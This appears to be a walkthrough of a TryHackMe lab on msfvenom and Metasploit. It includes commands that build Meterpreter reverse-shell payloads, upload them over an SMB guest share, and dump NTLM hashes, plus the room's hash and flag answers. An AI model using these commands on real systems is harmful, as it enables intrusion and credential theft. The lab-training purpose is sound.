TASK 2
What flag sets the output format in msfvenom?
Answer: -f
What flag specifies the payload to generate?
Answer: -p
TASK 3
Which payload type is self-contained and does not require a second download: staged or stageless?
In the introduction to the text, "stageless payloads" are defined directly as follows:
In contrast, it is noted that staged payloads operate in two stages and that the main component (stage) must be downloaded via the handler in the second stage:
"The Trade-Offs" Table:
The "Reliability" row of the table contains the following statement for "stageless":
"Generating Both with Msfvenom" Section:
The comparison in the text clearly reiterates that the stageless payload does not require an additional download:
Answer: stageless
TASK 4
What output format would you use to generate a Linux binary executable?
Answer: elf
Write the full msfvenom command to generate a stageless Windows x64 Meterpreter reverse TCP payload as an executable file named backdoor.exe, connecting back to 10.10.14.12 on port 5555.
Answer: msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.12 LPORT=5555 -f exe -o backdoor.exe
TASK 5
What is the name of the most well-known Metasploit encoder?
Answer: x86/shikata_ga_nai
What msfvenom flag specifies characters that must not appear in the payload output?
Answer: -b
TASK 6
What msfvenom flag injects a payload into an existing executable template?
Answer: -x
TASK 7
What Metasploit module is used as a universal listener for catching reverse shell connections?
Answer: exploit/multi/handler
What handler option should you set to false if you want the handler to keep listening after the first session is established?
Answer: ExitOnSession
TASK 8
Open the AttackBox terminal and enter your own IP address (ip a or tun0 / AttackBox IP) to generate the payload:
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=(Enter your ATTACKBOX_IP here) LPORT=80 -f exe -o shell.exe
Now let's set up the listener and upload the file to the target machine:
Verification: You should see that the terminal line changes to msf6 >.
In the console window that opens, enter the following commands in order:
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter_reverse_http
set LHOST 10.113.112.158
set LPORT 80
run -j
Now, Type the following command into the console
use auxiliary/admin/smb/upload_file
Verification: You should see that the command line has changed to msf6 auxiliary(admin/smb/upload_file) >.
Enter the following commands in order (replace LAB_MACHINE_IP with the target machine's IP address provided on the TryHackMe page):
set RHOSTS
set SMBUSER guest
set SMBSHARE public
et LPATH /root/shell.exe
set RPATH shell.exe
run
To retrieve the hash and flag values from the questions, follow the steps below in order:
Enter the following command in the console:
sessions -i 1
The command line will change to "meterpreter >".
Get Jim's NTLM Hash
Type the following on that meterpreter > line:
hashdump
The line structure in the hashdump output is as follows:
username : RID : LM_hash : NTLM_hash :::
That's why we're looking for the NTLM_hash
Answer: 1e3fe826df1e5af582a98c034cafa9f4
Find the flag somewhere in C:\Users\Administrator. What's its value?
Let's do a simple search with this command
search -d "C:\\Users\\Administrator" -f *flag*
We found flag.txt in the Documents folder
Let's wrap this up:
cat C:\Users\Administrator\Documents\flag.txt
Answer: THM{capst0ne_pwn3d_v1a_writable_share}
Thank you for reading room is completed. ^^
